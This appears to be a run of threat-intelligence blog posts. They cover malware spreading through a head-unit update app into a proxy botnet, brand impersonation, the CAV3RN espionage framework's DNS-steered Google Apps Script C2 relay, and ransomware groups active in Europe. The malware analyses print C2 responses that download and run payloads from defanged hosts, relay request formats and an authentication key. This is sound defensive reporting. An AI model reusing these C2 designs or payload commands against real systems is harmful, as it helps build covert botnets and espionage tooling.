        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"128.14.210[.]58\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 9999\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1766001509
    }, {
        "productId": 3505,
        "script": "{\n\"tagName\":\"http\",\n\"url\":\"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}\"\n}",
        "version": 1776656317
    }],
    "msg": ""
}

The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.

At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.

Command name	Description	Arguments
return	Return a value from SharedPreferences.	key: the key whose value should be returned
copy	Set the contents of the clipboard.	text: the key whose value from SharedPreferences is returned as the clipboard contents url: a link for downloading gzip-compressed data (optional); this data is then concatenated with the value of the text key, with      (5 spaces) used as a separator
http	Make a POST/GET HTTP request to a specified resource and, if instructed, save the response in SharedPreferences under a specified key.	url: the resource address method: the HTTP method name (optional) startLabel: a marker for the start of the data to save from the resource (optional) endLabel: a marker for the end of the data to save from the resource (optional) valueLabel: the key under which to save the value (optional) header: a dictionary of headers for the HTTP request (optional) content: the content of the POST request (optional)
web	Open a link in the WebView and execute arbitrary JavaScript code within it.	url: the link to open in the WebView js: base64-encoded JavaScript code to execute in the WebView; used when the url parameter is empty or absent corejs: JavaScript code to execute when the resource loads in the WebView (optional) param: a string dictionary of parameters for launching the WebView client: if this key is present, WebViewClient is used to handle redirects manually time: task timeout
loadlib	Not fully implemented at the time of publishing this report.	–
loadlib2	Download and execute arbitrary code.	url: the address to download the payload from name: the name of the module being downloaded md5: the MD5 hash of the payload clear: a comma-separated list of payload names to delete (optional) params: an array of parameters to launch the payload with className: the class name of the payload entry point method: the name of the virtual method at the payload entry point cmethod: the name of the static method used to instantiate the entry-point class (optional) thread: a flag; the payload runs in a separate thread if this flag is not set reload: a flag that, when set, restarts already loaded modules
loadlib3	Not fully implemented at the time of publishing this report.	–
deeplink	Open a resource in the browser.	url: a link to the resource
traceroute	Check resource availability via an ICMP ping.	host: comma-separated list of resources to check

However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.

While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.

Attribution

While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.

While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.

During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.

On the registration page hosted at admin.uipoxy[.]com, we also found the string copyright © 2020 proxyforu[.]com all rights reserved, which linked to hxxps://proxyforu[.]com, the website of ProxyForU, another vendor of residential proxy services.

We found several similarities in the authentication APIs across all of these sites:

• The sign-in page was hosted on an admin.* subdomain.
• The sign-in page was located at /proxy/u/login.
• The signup page was located at /proxy/register?channelKey=<invitation code>.

Based on this, we believe these services are connected to MoYu Group.

Conclusion

Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.

Indicators of compromise

Stage 1: JarService

ba27951b4ee1c341f4415d033369ecd3
d63bacd6d6709dd68a10ef9d374c7835
6c2e34b30da42085240ede53ab6107d4
8b5e513144a6138a966ea59e68bf9da2
e119845877089d6f4b0a70dc7388f316

Stage 2: loader

e9f3a0dab6949ce2cddab9e0aa80ae1a

Stage 3: loader/clicker

0fbaa7092204f4b1494e0b840b014774
1dcf031c40ce456b6a36a00b0acf3d11
44b6b213a6a3f299eaf88e078de95ecb
67dc78e544ebce16b85dc7c195dfbc58
9642ae619b3165d23c6349002d1abe24
b067d5b0dbecbd6498bcdfba45dba77e
f0e3f7eba2cde91e2dedb921bab47422

zhima module

412e9243f2981bbea3894254d105b3b8
71ab5517f71866279d0d87d37f2ae320
89ef78f716a75964539f2db6520be362
a4223ce4288a230d1e6c3ff2c7639045
bd4d81cd27125ad3d9a114922d468499
c6bfb1643ac7474ed8a7b4f96a187fdb
de77c3303e93c9450424759f1741441c
f8cf8c23ff597700d471fb7767df8bac

Domains and IP addresses

xmsae[.]sbs
ishano456[.]sbs
xshaon123[.]sbs
kshahnd[.]sbs
mdsjhd[.]sbs
nmnsny[.]sbs
kookjar[.]com
ty54fgd435[.]my
ue886578433[.]online
ty4523[.]space
144.217.243[.]201
107.151.248[.]132
128.14.210[.]58

Addresses used to download JarService

hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2026-06-08/bd80bd3c3d0e4bf6b5b4a825650d01f5.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2025-06-10/fe71af9ecf174de48d2b2ccc2c15fb04.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2024-11-07/fa831c3c23824b99871163387bcda7ad.apk

Hashes of TWCore (the legitimate software used to distribute JarService)

2a64c3efc11bf224aa54f24e876446c9
7a4d3ba2dacccfdda55859a5dfee2671
ea24487996eb70c1780922fb3063bcc5

A company can have strong firewalls, modern endpoint protection, and carefully controlled access—and still find its brand being used as a weapon against customers, employees, and partners. 

That is the new reality of digital impersonation. Attackers can register lookalike domains, clone websites, create fake executive profiles, publish fraudulent job advertisements and imitate customer-support accounts without ever breaking into the legitimate organization. 

The objective is pretty simple. Borrow the credibility that a trusted brand has already built and use it to make a scam look legitimate. For professional services, financial, legal, and consulting organizations, that risk can be particularly damaging because trust is central to the business model. 

The Numbers Show Why Speed Matters 

The scale of digital fraud makes slow brand-abuse response difficult to justify. 

The FBI's 2025 Internet Crime Report recorded 1,008,597 complaints, marking the first time the Internet Crime Complaint Center (IC3) exceeded 1 million in a year. Reported losses reached $20.877 billion, up 26% from 2024. Phishing and spoofing were among the most frequently reported complaint types. 

Business email compromise was even more costly, producing approximately $3.05 billion in reported losses from 24,768 complaints. 

The Federal Trade Commission provides another measure of the impersonation problem. Consumers reported $3.5 billion in losses to imposter scams during 2025, with nearly one in three fraud reports involving impersonation. People reported losing nearly $1 billion to business impersonators alone. 

These figures represent reported losses, not the full economic impact. Fraudulent domains and profiles can disappear quickly, victims may never report incidents, and reputational damage is difficult to quantify. 

Professional Services Have More Than a Brand to Protect 

Consulting and professional services firms often handle sensitive client information, financial models, strategic plans, legal documents and confidential communications. That makes their identities valuable to criminals. 

The legal sector provides a useful comparison. The American Bar Association's cybersecurity research has previously found that 29% of surveyed lawyers reported that their firms had experienced a security breach. 

Impersonation adds another layer because the attacker may never enter the firm's network. A counterfeit website can steal credentials. A fake executive can request a payment. A fraudulent recruiter can collect applicant information. A fake support account can redirect customers to a malicious login page. 

The brand becomes the attack surface. 

Why Traditional Takedowns Become a Whack-a-Mole Exercise 

Conventional brand protection is often reactive. Someone discovers a suspicious domain, reports it to the registrar, contacts the hosting provider or social platform, and waits. 

That process can work—but it does not scale well against automated adversaries. 

By the time one fraudulent domain is removed, another may have appeared. A fake executive account can be recreated under a slightly different name. A phishing kit can be deployed against several brands simultaneously. Fraudsters can also move between websites, social networks, advertisements, application stores and messaging platforms. 

Counting the number of takedowns therefore tells only part of the story. A more meaningful measurement is the time from discovery to verification and from verification to removal. 

The shorter that window, the fewer opportunities an attacker has to reach victims. 

What AI Changes 

Artificial intelligence has made impersonation faster, cheaper, and more convincing. 

Attackers can generate polished phishing messages, translate campaigns for different markets, create synthetic personas, clone websites and produce increasingly convincing voice or video content. The FBI has also warned about scams involving AI-generated videos and spoofed websites used to create false legitimacy. 

Europol's 2025 Internet Organised Crime Threat Assessment similarly described a cybercrime economy increasingly powered by stolen data, which can support fraud, ransomware, extortion and other criminal activity. 

That means defenders face an uncomfortable imbalance: criminals can create fraudulent content almost instantly, while organizations may still investigate abuse manually. 

Brand security consequently must become faster without becoming careless. 

The Most Common Brand-Abuse Tactics 

Security teams should watch for a broad range of impersonation signals, including: 

• Typosquatting: domains using misspellings or visually similar characters. 

• Combosquatting: brand names combined with words such as “login,” “support” or “secure.” 

• Fake social profiles: cloned executive, employee, or company accounts. 

• Account takeovers: legitimate accounts hijacked and used to exploit an existing audience. 

• Cloned websites: replicas designed to collect credentials or payment information. 

• Fake mobile applications: counterfeit apps using familiar names, icons, or branding. 

• Fraudulent marketplace listings: fake products or services presented as legitimate. 

• Malicious QR codes: QR-based redirects leading victims to phishing infrastructure. 

• AI-generated impersonation: synthetic voices, images, video, and written communications. 

• Business email compromise: messages designed to trigger payments or sensitive disclosures. 

• Fake customer-support accounts: fraudulent profiles responding to real customer complaints. 

• Malicious search advertisements: paid placements directing users toward counterfeit sites. 

• Fake recruitment campaigns: fraudulent jobs used to collect personal or financial information. 

• Fake press releases: fabricated announcements intended to mislead customers, investors or the public. 

• Dark-web brand abuse: stolen credentials, data, and brand-specific fraud resources circulating in criminal communities. 

Conclusion 

Brand impersonation is no longer just a reputation issue—it can quickly become a pathway to phishing, fraud, credential theft, and customer harm. As AI enables attackers to create convincing fake websites, domains, social profiles, and campaigns at unprecedented speed, organizations need equally fast detection and response.  

Cyble’s brand monitoring and takedown services help organizations detect impersonation, validate malicious activity, and coordinate the removal of fraudulent assets before they can cause greater damage.  

With continuous visibility and managed takedown support, Cyble helps security teams stay protected from brand threats and protect customer trust.

See Cyble’s brand monitoring and takedown capabilities in action—request a demo today. 

Frequently Asked Questions (FAQs)  

1. What is brand impersonation in cybersecurity? 

Brand impersonation occurs when attackers imitate a legitimate company, executive, employee or digital channel to deceive customers, employees or business partners. Common examples include fake websites, lookalike domains, fraudulent social profiles, counterfeit applications and phishing emails. 

2. Why is AI making brand impersonation more dangerous? 

AI allows attackers to create convincing emails, websites, social profiles, synthetic identities, voice messages and other fraudulent content much faster and at greater scale. This makes it harder for organizations to rely on manual monitoring and reactive investigations. 

3. What brand impersonation tactics should security teams monitor? 

Security teams should monitor for typosquatting and lookalike domains, fake executive profiles, cloned websites, counterfeit apps, fraudulent job postings, fake customer-support accounts, malicious advertisements, phishing campaigns, AI-generated impersonation, and brand abuse on underground platforms. 

4. Why is rapid takedown important for brand protection? 

A fraudulent website or social profile can cause harm within minutes by stealing credentials, collecting personal information, or redirecting payments. Faster verification and takedown reduce the amount of time attackers have to reach potential victims. 

5. Can smaller and mid-sized organizations also be targeted? 

Yes. Attackers are not limited to globally recognized brands. Smaller and mid-sized organizations can also be attractive targets because they may have fewer resources dedicated to continuous brand monitoring and digital risk management. 

6. How can Cyble help with brand impersonation? 

Cyble’s brand monitoring and digital risk protection capabilities help organizations identify suspicious domains, fake profiles, fraudulent websites and other forms of digital brand abuse across the online ecosystem. By bringing detection and threat intelligence together, Cyble can help security teams investigate impersonation faster and take action before fraudulent assets cause greater damage. 

References 

• FBI 2025 Internet Crime Report 

• FTC Data Show People Reported Losing $3.5 Billion to Imposter Scams in 2025 

Media Disclaimer: This blog was compiled from publicly available government advisories and open-source security reporting. It is provided for reference purposes only; readers bear full responsibility for their reliance on it. 

The post When the Attacker Wears Your Logo: Detecting and Taking Down Impersonation at AI Speed appeared first on Cyble.

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command	Functionality
s_version	Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config	Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog	Enables diagnostic logging at the Debug level.
s_deLog	Disables diagnostic logging and sets the logging level to Fatal.
s_write	Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet	None (0)	GIDFailed (1)	GoogleFailed (2)	DirectFailed (3)
120 (0x78)	Google Apps Script	Direct HTTPS	Direct HTTPS	Google Apps Script
130 (0x82)	Direct HTTPS	Direct HTTPS	Direct HTTPS	Close the transaction (no channel)
140 (0x8C)	Exception	Exception	Exception	Exception
All other values	Google Apps Script	Google Apps Script	Google Apps Script	Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command	Function
000	Lists loaded component names and versions
001	Lists every DLL path discovered by the scanner
002	Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain	Registrar	IP	Hosting	ASN
studiotikva[.]com api.studiotikva[.]com ns1.studiotikva[.]com ns2.studiotikva[.]com	Dynadot Inc	144.172.115[.]17 144.172.104[.]82	RouterHosting LLC	AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

Europe faced a ransomware onslaught in the first half of 2026 that sets a troubling precedent for the remainder of the year. According to Cyble Research and Intelligence Labs (CRIL), the region experienced 866 documented ransomware attacks, 51 confirmed data breach incidents, and 7 initial access sales between January and June 2026. These figures represent not just a volume problem, but a fundamental shift in how threat actors are organizing, targeting, and monetizing their operations within European territory.

What distinguishes the ransomware threats in Europe from other global regions is the concentration of power among a small number of highly sophisticated threat actors. While the threat ecosystem encompasses dozens of groups, five dominant ransomware operators account for approximately 55% of all documented activity. This concentration creates predictability—European security leaders can now identify, profile, and build specific defensive strategies against known adversaries.

The Five Dominant Ransomware Groups Targeting Europe

1. Qilin: The Biggest Ransomware Threat in Europe

Attack Volume: 158 documented incidents (18.2% of regional total)

Qilin stands as the dominant ransomware threat actor targeting Europe, commanding operational superiority through sophisticated affiliate management, rapid exploit weaponization, and industry-specific targeting intelligence.

Geographic Concentration:

• Germany: 32 attacks (highest single-country targeting)
• France: 28 attacks
• United Kingdom: 26 attacks
• Spain: 20 attacks
• Italy: 19 attacks

Worldwide Sectoral Targeting: Qilin demonstrates deliberate sectoral selection rather than opportunistic targeting:

• Construction: 103 incidents (primary focus)
• Professional Services: 90 incidents (legal, accounting, consulting firms)
• Manufacturing: 67 incidents (industrial operations)
• Government & Law Enforcement: 19 incidents
• Technology: 22 incidents

Operational Characteristics:

Qilin's dominance stems from understanding European organizational economics. Construction projects operate under time-sensitive contracts with contractually-defined penalties for delay. A single day of downtime on a €50 million construction project can trigger cascading costs exceeding €100,000. This economic reality translates directly into ransom payment likelihood, making Qilin's targeting strategy rational and highly effective.

The group maintains an extensive affiliate network capable of concurrent operations across multiple European nations. Evidence suggests Qilin has compartmentalized its operations: initial access brokers handle reconnaissance and network compromise, mid-tier operators manage lateral movement and privilege escalation, and final-stage operators execute encryption and exfiltration. This division of labor enables rapid scaling and reduces attribution risk.

Why Qilin Dominates:

• Industry Expertise: Deep understanding of construction project timelines and financial exposure
• Affiliate Loyalty: Competitive payout structures (estimated 70-80% to affiliates) ensure consistent operator recruitment
• Exploit Library: Rapid weaponization of both known and zero-day vulnerabilities
• Data Monetization: Established data brokerage partnerships ensure exfiltrated data reaches buyers

European Security Implications: Organizations in construction, professional services, and manufacturing should treat Qilin as their primary threat actor concern. Defensive strategies must prioritize data exfiltration prevention, network segmentation, and immutable backup infrastructure.

2. The Gentlemen: The Rising European Threat

Attack Volume: 144 documented incidents (16.6% of regional total)

The Gentlemen represent an emerging threat actor that has achieved remarkable scale in a relatively short operational window. Unlike established groups that evolved from other cybercriminal operations, The Gentlemen appear purpose-built for ransomware-as-a-service operations.

Geographic Concentration:

• Europe: 144 attacks (primary focus)
• United States: 100 attacks (secondary focus)
• Thailand: 35 attacks (supply-chain targeting)
• South Asia: 40 attacks

Worldwide Sectoral Targeting:

• Construction: 45 incidents
• Manufacturing: 56 incidents
• Healthcare: 37 incidents
• IT & ITES: 36 incidents
• Professional Services: 29 incidents

Operational Characteristics:

The Gentlemen's rapid emergence and sustained growth suggest significant operational funding and technical sophistication. The group's geographic diversification—maintaining European dominance while aggressively expanding into Asia-Pacific—indicates either organizational scale or partnerships with regional threat actors.

Notably, The Gentlemen's Thailand targeting (35 incidents) suggests supply-chain attack sophistication. By compromising manufacturing and logistics operations in Thailand, the group can leverage these beachheads for downstream attacks against Western European organizations. This cross-continental supply-chain targeting represents a significant evolution in ransomware operational sophistication.

Key Distinction: While Qilin focuses on maximizing ransom payments from individual targets, The Gentlemen appear to prioritize operational scale and geographic expansion. This suggests the group may be building toward either:

1. A mega-RaaS platform rivaling LockBit's historical dominance
2. Preparation for potential acquisition or partnership with state-sponsored actors
3. Geographic arbitrage—leveraging lower prosecution risk in developing nations while maintaining European operations

European Security Implications: The Gentlemen's emergence signals market competition is intensifying. Organizations should monitor this group's operational evolution closely, as aggressive growth often precedes operational mistakes that create defensive opportunities.

3. LockBit: The Persistent Legacy Threat

Attack Volume: 61 documented incidents (7.0% of regional total)

LockBit's presence in European targeting represents a significant finding given sustained law enforcement pressure and multiple platform disruption attempts. Despite being targeted by coordinated international takedown operations, LockBit maintained operational capability throughout H1 2026.

Geographic Concentration:

• Europe: 61 attacks (Primary operations)
• North America: 47 attacks (Secondary operations)
• Distributed: Global presence indicating resilient infrastructure

Worldwide Sectoral Targeting:

• Construction: 22 incidents
• Manufacturing: 22 incidents
• Government & LEA: 12 incidents
• Healthcare: 19 incidents
• Professional Services: 13 incidents

Operational Resilience:

LockBit's continued operations despite international enforcement actions demonstrate several critical lessons:

1. Affiliate Compartmentalization: By maintaining separate operational cells, LockBit can continue operations even when core infrastructure is disrupted
2. Rapid Rebranding: The group has adopted multiple identities and platform variants, complicating attribution
3. Infrastructure Redundancy: Multiple command-and-control server locations across jurisdictions with varying law enforcement cooperation levels
4. Operator Recruitment: Continuous recruitment of new affiliates from emerging cybercriminal talent pools

The group's continued viability suggests that law enforcement actions, while disruptive, are insufficient to eliminate established RaaS operations. Organizations cannot rely on law enforcement intervention as a defensive strategy; they must assume LockBit and similar groups will remain operational threats indefinitely.

European Security Implications: LockBit should remain on European security teams' active threat monitoring lists. The group maintains technical sophistication, access to critical zero-day exploits, and demonstrated willingness to target European critical infrastructure.

4. Akira: The Opportunistic European Operator

Attack Volume: 59 documented incidents (6.8% of regional total)

Akira represents a secondary-tier ransomware group with focused European operations. The group demonstrates strong preference for Manufacturing and Construction sectors, suggesting industry-specific expertise or targeted affiliate recruitment.

Geographic Concentration:

• Europe & UK: 59 attacks (Secondary focus)
• North America: 268 attacks (Primary focus)
• Secondary: Limited operations in other regions

Worldwide Sectoral Targeting:

• Manufacturing: 54 incidents
• Construction: 57 incidents
• Professional Services: 47 incidents
• Consumer Goods: 34 incidents
• Healthcare: 13 incidents

Operational Profile:

Akira's disproportionate North American presence (268 attacks) with lower European activity (59 attacks) suggests the group may have established affiliate networks in North America with secondary capacity for European operations. The strong manufacturing and construction focus mirrors Qilin's strategy, indicating these sectors offer superior ransom payment likelihood across multiple geographic markets.

European Security Implications: While not as immediately threatening as Qilin or The Gentlemen, Akira's persistent operations warrant inclusion in threat modeling exercises. European manufacturing and construction organizations should monitor Akira's affiliate recruitment channels and tactical innovations.

